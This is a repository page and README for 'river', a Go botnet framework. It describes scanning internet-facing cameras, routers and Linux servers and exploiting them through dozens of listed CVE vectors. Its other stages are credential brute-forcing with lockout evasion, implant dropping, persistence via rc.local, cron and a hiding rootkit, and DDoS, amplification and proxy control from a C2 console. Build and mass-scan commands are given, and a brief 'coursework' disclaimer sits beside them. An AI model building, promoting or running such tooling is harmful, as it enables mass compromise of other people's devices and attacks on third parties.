Pure-Go botnet framework: discovery, exploitation, persistence and swarm control for cameras, routers and Linux servers.
  • Go 99%
  • Shell 1%
Find a file
Repository files (latest commit first)
Filename Latest commit message Latest commit date
river 4b124323f8 feat(routers): 8 new RCE vectors + SSH brute v2 + auto-hold
vectors: netgear CVE-2016-6277, genexis CVE-2021-29003, asus infosvr
CVE-2014-9583 (UDP 9999), sercomm 32764 backdoor, tenda CVE-2025-9090,
glinet CVE-2023-46454, zte h168n config-leak chain, eir CWMP EDB-40740.
hunter: netgear/genexis/asus/tenda/zte/glinet signatures, sercomm TCP
probe, port 32764.

ssh brute: seedPairs first, vendor ordering by banner, 2-4 adaptive
workers, 64 attempt cap, jitter, lockout cooldown, none-auth.
auto-hold: x64/x86 SSH servers get rootkit + @reboot automatically
after deploy.
2026-10-24 13:59:42 +00:00
assets add GPL-3.0 license, move logo to assets 2026-10-24 01:55:57 +00:00
cmd feat: arm-aware updates, case-insensitive fingerprints, honest probes 2026-10-24 06:32:10 +00:00
internal feat(routers): 8 new RCE vectors + SSH brute v2 + auto-hold 2026-10-24 13:59:42 +00:00
third_party feat(creds): Basic/Digest/form/SSH/telnet credential engine 2026-10-24 11:05:26 +00:00
.gitignore feat: 15 new RCE vectors, review hardening, GOARM builds 2026-10-24 05:58:25 +00:00
build.sh feat: arm-aware updates, case-insensitive fingerprints, honest probes 2026-10-24 06:32:10 +00:00
go.mod river: initial release 2026-10-24 01:45:06 +00:00
go.sum river: initial release 2026-10-24 01:45:06 +00:00
LICENSE add GPL-3.0 license, move logo to assets 2026-10-24 01:55:57 +00:00
README.md feat(routers): 8 new RCE vectors + SSH brute v2 + auto-hold 2026-10-24 13:59:42 +00:00

river

river

river is a botnet framework written in Go. It discovers internet-facing cameras, routers and Linux servers, exploits them, drops an implant, keeps it alive and controls the swarm from a single console. One toolchain, one protocol, no external dependencies at runtime.

Disclaimer

This repository is an academic project, prepared as coursework for a school informatics teacher. Its sole purpose is education and research: studying how IoT exploitation, botnet protocols and persistence mechanisms work, in a controlled lab environment. It is not intended for use against systems the operator does not own or have explicit permission to test. The author accepts no responsibility for any misuse.

The source tree is intentionally comment-free. The code is the documentation.

Pipeline

hunt ──────▶ crack ──────▶ infect ──────▶ hold ──────▶ swarm
discover     exploit        implant        persist      control
fingerprint  RCE + creds    dropper http   rc/cron/LKM  ddos/exec/socks/scan

hunt streams devices to crack while the sweep is still running; crack starts on the first hit instead of waiting for the full range.

Components

package stage responsibility
internal/hunter hunt TCP sweep, HTTP/TLS/raw-banner fingerprinting, brand classification
internal/sting crack 62 vector names (59 distinct probes), credential engine (Basic/Digest/form/SSH/telnet)
internal/creds crack embedded SecLists wordlists and pair generation
internal/recruit infect telnet/ssh deployment, dropper construction
internal/lair hold persistence, rootkit deployment on Linux servers
internal/c2 swarm sessions, registry, task fan-out, loot ingest, dropper HTTP
internal/modules swarm floods, amplification, socks5, propagation, update
internal/proto — framing, RSA-OAEP handshake, AES-256-GCM transport
internal/console, internal/tui — command engine shared by TUI and headless mode

Vectors

Probes are verified, not assumed: reflected output carries a random marker, blind vectors use a sleep-timing side channel or a two-step confirmation, and a bare 200 is never treated as success. A few vectors are explicitly weaker and documented as such:

  • redis-cron proves that the config write and crontab file write succeeded, not that cron executed the entry.
  • ray-cpu-profile, cockpit-ssh, react-rsc and the MeiG blind path rely on request timing (sleep 5); a loaded target can produce a false positive.
  • dlink-hnap requires a UPnP/D-Link fingerprint in the response before a non-probe command is accepted.
  • htmlawed-rce requires the command to be echoed in the output, not just a => fragment.
  • meig-cfg never accepts retcode:0 alone for a real command: it falls back to a second timing probe.

Cameras / DVR / NVR

Hikvision CVE-2021-36260 · TVT EDB-39596 · AVTECH CVE-2024-7029 · NUUO CVE-2018-14933, EDB-40209 · boa mft CVE-2013-2572 · Axis EDB-24400 · Selea Targa EDB-49460 · MVPower EDB-41471 · HiSilicon CVE-2020-24217 · GeoVision EDB-43982 · FLIR AX8 CVE-2022-37061 · MeiG FORGE_SLT711 CVE-2026-36356

Routers / UPnP / IoT

Huawei CVE-2017-17215 · GPON CVE-2018-10561, Netlink EDB-48225 · Realtek CVE-2014-8361 · D-Link CVE-2015-2051, CVE-2019-16920, EDB-34065, CVE-2024-10914 · Netgear CVE-2016-6277 · Genexis CVE-2021-29003 · ASUS infosvr CVE-2014-9583 · SerComm CVE-2014-0659 · TP-Link CVE-2023-1389, CVE-2021-4045 · Netis EDB-43387 · Edimax EDB-48318 · TOTOLINK EDB-37623 · Ruijie EDB-51888 · SolarView CVE-2023-23333 · Vitogate CVE-2023-5702 · ipTIME A3004T EDB-52644 · Linksys E1200 CVE-2025-60689 · Siklu EtherHaul CVE-2025-57174 · Teltonika RutOS EDB-52692 · Tenda AC20 CVE-2025-9090 · GL.iNet CVE-2023-46454 · ZTE ZXHN H168N EDB-52191

Web apps / Linux services

Exim CVE-2010-4344 · Webmin CVE-2019-15107 · Nostromo CVE-2019-16278 · vsftpd 2.3.4 · PHP-CGI CVE-2012-1823 · Struts CVE-2018-11776 · ThinkPHP EDB-46150 · Spring CVE-2022-22963 · WebLogic CVE-2020-14882 · Cacti CVE-2022-46169 · Redis (unauth → crontab write) · Elasticsearch CVE-2015-1427 · Shellshock CVE-2014-6271 · Crestron CVE-2019-3929 · htmLawed CVE-2022-35914 · Bricks Builder CVE-2024-25600 · CyberPanel CVE-2024-51378 · WooCommerce Pix CVE-2026-3891 · Artica CVE-2024-2054 · React Server Components CVE-2025-55182 · Ray CVE-2023-6019 · Cockpit CVE-2026-4631 · Corget GpsDget EDB-52631

Credentials

The credential engine runs in five modes, chosen automatically by device type:

  • HTTP Basic — pre-flight 401 check, then per-pair authorization.
  • HTTP Digest — full challenge/response with MD5, MD5-sess, SHA-256 and SHA-256-sess, qop=auth, opaque and stale-nonce retry.
  • Form login — the login form is parsed from the page (action, method, user/password field names, hidden CSRF fields), submitted with a cookie jar, and success is confirmed by a non-login redirect, a logout marker, or a page marker together with a fresh session cookie. The form is re-fetched and re-parsed after failed attempts and login redirects so rotated CSRF tokens keep working.
  • SSH — native golang.org/x/crypto/ssh password, none-auth and keyboard-interactive authentication, verified by running a command or opening an interactive shell. Vendor pairs (MikroTik, OpenSSH, Dropbear, Cisco, Huawei, Ubiquiti, ZyXEL, Hikvision/Dahua) go first, then the Mirai seed pairs, then SecLists. Concurrency adapts per target (2–4 workers, 64 attempts max) with per-attempt jitter, three-strike network breaker and a 5-minute cooldown on lockout replies.
  • Telnet — prompt-driven login with verification by a split marker (echo 7f"3k9" → 7f3k9), so the echoed input itself cannot fake success.

Wordlists come from SecLists: 10 000 common passwords, the top-username shortlist, 136 SSH default pairs and 712 telnet default pairs, plus 59 vendor-specific camera wordlists and the SecLists router defaults (232 vendors). Telnet starts with the curated Mirai-era pairs before the SecLists entries. Pairs are ordered defaults-first, then username×password, deduplicated and bounded by a soft per-device budget (25 s) so a slow target cannot hold a worker indefinitely; in-flight requests may overrun the budget by their own timeouts. Every mode stops on the first hit; HTTP modes also stop on 429/423, Retry-After and lockout text, and SSH/telnet stop on too many replies.

Web credential hits are deployed through management ports (22, 2222, 2022, then 23, 2323) rather than the web port the device was found on. recruit uses a native SSH client — sshpass is no longer required. Dropper delivery is verified: the download must pass a size check, the implant is started in the background and kill -0 confirms it is still alive two seconds later before the deployment is counted as successful.

Persistence

  • IoT: a startup line in /etc/rc.local and /etc/init.d/rcS pointing at the implant's real path. cron is not assumed — most camera firmwares ship without it.
  • Linux servers: @reboot crontab entry plus the Singularity LKM (process and connection hiding, kill -59 privilege escalation, icmp shell). A successful SSH-credential deploy on an x64/x86 server automatically waits for the bot to register, then pushes the rootkit and the @reboot entry without a manual hold. The rootkit is not deployed on cameras: their 2.6–3.x kernels have no headers and a read-only root, so the module cannot load.
  • Redis: the vector itself writes a crontab entry before the implant ever connects. This is a write primitive, not a proven execution path.
  • kill removes the binary and its .id/.old/.new siblings, then strips the exact rc.local / rcS / crontab lines that hold wrote.

Build

./build.sh                # auto-detect the C2 address from the default route
./build.sh 203.0.113.7    # burn a specific C2 address

Produces drops/: implants for arm5 arm6 arm7 arm64 mips mipsel x86 x64 (plus a Windows x64 build), the server, recruit, singularity.tar.gz and the wordlists. The three 32-bit ARM builds are real GOARM=5/6/7 binaries and carry buildArm in their handshake, so update picks the matching drop instead of always sending arm7. RSA keys are generated on first build and stay in keys/ — they are git-ignored.

Run

./drops/server            # TUI on :34221, dropper HTTP on :8090

hunt 198.51.100.0/24          # full pipeline
hunt 10.0.0.5 80 8080 37777   # custom port set
hunt @targets.txt             # one ip/cidr/range per line
hunt stop                     # cancel the active sweep
hold all                      # persistence everywhere, rootkit on servers
loot                          # loot file path and hit count

Console commands: bots, loot, hunt, hold, ddos, amp, exec, socks, scan, update, kill, help. -notui runs the same commands from stdin. Useful flags: -c2, -http, -keys, -drops, -loot.

Runtime dependencies are limited to what the operator needs for the chosen stage: make plus kernel headers for the LKM, and a shell with curl, wget, busybox wget or ftpget on the target for the dropper chain. SSH deployment and SSH brute force use the embedded Go SSH client; no external sshpass binary is needed.

Protocol

Frames are [magic u32][version u8][type u8][length u16][payload], big-endian. The handshake carries an RSA-OAEP-wrapped AES-256 key inside the first frame; afterwards every payload is AES-256-GCM with separate nonce streams per direction, so interleaved ping/pong/stats traffic can never desync the ciphers. There are no readable strings on the wire. The dropper HTTP endpoint serves a parked "It works!" page at / and binaries under /d/<arch>.

Tests

go test ./... -count=1
go test -race ./... -count=1

Covered: protocol framing/crypto interleaving, vector marker and timing checks (including the blind and two-step vectors), ProbeArch, recruit dropper construction and telnet deploy handshake, native SSH deploy, credential management-port fallback, c2 pending tasks/ack/resend and reconnect semantics, hunter TLS probing, raw-banner/telnet classification, signature order and CIDR limits, socks5 handshake/relay, exec process-group kill and update hashing, plus Basic/Digest (MD5/SHA-256, nonce counting, comma-containing realms)/form-login (cookie-bound CSRF, cross-origin action rejection, lockout markers)/SSH/telnet brute-force engines against local mocks. RunKill and ExecUpdate are deliberately not unit-tested — they terminate or replace the running test binary.

Accepted limitations

  • Vectors do not take a context.Context; hunt stop cancels between devices, but an in-flight vector finishes within its own per-request timeouts.
  • Digest authentication covers MD5/MD5-sess/SHA-256/SHA-256-sess; NTLM and NTLMv2 are not implemented.
  • Form-login success detection is heuristic: a non-login redirect, a logout marker, or a page marker plus a fresh session cookie. Custom SPA/JS-only login forms are not submitted.
  • Credential attempts are bounded per device (CredPairs, GenericPairs, SSHPairs, TelnetPairs and a soft 25 s CredBudget); the longest wordlists are sampled at their highest-probability entries rather than tried in full.
  • Credential deployment has its own 90 s budget across management ports and verifies the started process; a wrong-architecture binary that still passes the size check is rejected by the liveness test.
  • Hunter probes / (plus TLS on the known ports and raw banners on management ports). Signatures that only surface on a deeper path need a manual RunVector call.
  • The newest signatures (MeiG, htmLawed, Ray, Artica, Siklu, Teltonika) were validated statically and against the published POCs; confirm them on live firmware captures before any mass run.

Repository layout

cmd/server      C2 server (TUI + headless)
cmd/implant     bot
cmd/recruit     credential-based deployer
cmd/keygen      RSA key generation
internal/       packages described above
drops/          build output (git-ignored)
keys/           RSA keypair (git-ignored)
third_party/    curated POCs (exploitdb-curated), SecLists, Singularity

Credits

Exploit patterns from the exploit-db archive. Default credentials from SecLists. LKM from the Singularity project. Fingerprint signatures were validated against live firmware captures.

License

GPL-3.0. See LICENSE.